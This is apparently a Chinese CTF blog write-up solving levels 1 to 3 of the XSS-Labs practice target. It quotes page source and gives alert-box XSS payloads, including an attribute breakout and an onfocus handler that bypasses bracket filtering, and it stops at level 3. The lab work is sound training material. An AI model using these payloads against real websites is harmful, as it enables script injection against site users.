【CTF解题】XSS-Labs 靶机 1 ~ 20 关 解题
2022-11-23 / 0 评论 / 73 阅读 / 3 点赞

【CTF解题】XSS-Labs 靶机 1 ~ 20 关 解题

发光的神
2022-11-23 / 0 评论 / 73 阅读 / 正在检测是否收录...

第一关

lav4s4iv.png

1.既然是xss的靶机,肯定跟xss注入有关啦,先找注入口。

lav4u6um.png

2.看到这里有个name的参数,我们可以试试在这上面,xss注入下试试。

lav4x61l.png

3.输入以下js代码,发现注入成功。

<script>alert(1)</script>

第二关

lav51til.png

1.在此界面按ctrl + u查看前端代码,分析下前端。

lav587fj.png

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  // 要有弹窗才能触发里面的代码
{     
confirm("哎哟 不错哦!");
 window.location.href="level3.php?writing=苦尽甘来";  // 成功后直接跳转第三关
}
</script>
<title>第2关</title>
</head>
<body>
<h1 align=center>第2关 窒息的操作</h1>
<h2 align=center>没有找到和跨站师相关的结果.</h2><center>
<form action=level2.php method=GET>  <!-- 通过GET请求把keyword接收的参数传给level2.php -->
<input name=keyword  value="跨站师">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center>
<h3 align=center>payload的长度:9</h3></body>
</html>

2.可以发现 这段js语句,写好了搜索一下。

lav5kzkl.png

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎哟 不错哦!");
 window.location.href="level3.php?writing=苦尽甘来"; 
}
</script>
<title>第2关</title>
</head>
<body>
<h1 align=center>第2关 窒息的操作</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert(1)</script>">
  <!-- 
  看以上这一段是关键 是不是很眼熟 我们输入的语句
  value="<script>alert(1)</script>">
  但他没有执行成功 因为后面多了一个 ">
  我们得想办法给他去除掉 "><script>alert(1)</script>
  -->
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
"><script>alert(1)</script>

4.分析下 level2.php 给我们返回的内容,通过以上分析我们可以这样构建以上代码作为payload,这一关考的是绕过。

lav5zs0c.png
5.在编辑框里输入以上这段js语句 ,再提交下。
lav62k2p.png
6.可以发现成功注入了。

第三关

lav6jmcn.png

1.老规矩一句简单的js弹窗问候它,再看它的返回看看有什么问题。

lav6y5af.png

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎哟 不错哦!");
 window.location.href="level4.php?keyword=宁静致远"; 
}
</script>
<title>第3关</title>
</head>
<body>
<h1 align=center>第3关 这该咋办啊</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1);&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;script&gt;alert(1);&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/ee7a688a-d75e-4ed7-8a79-96e62d3127e2.png" width="15%"></center>
<h3 align=center>payload的长度:26</h3></body>
</html>
'onfocus = 'javascript:alert(1)'

2.可以发现被过滤了,大于号和小于号都被过滤了,这个是时候是不是考虑换一种方式让它弹窗,实现我们的目的呢,除了利用方式还有 javascript:alert(1) 这种方式也可以弹窗。
lav7luh9.png
3.插入成功后需要触发,光标点下编辑框就触发了。
待更新..

3

评论 (0)

取消
0:00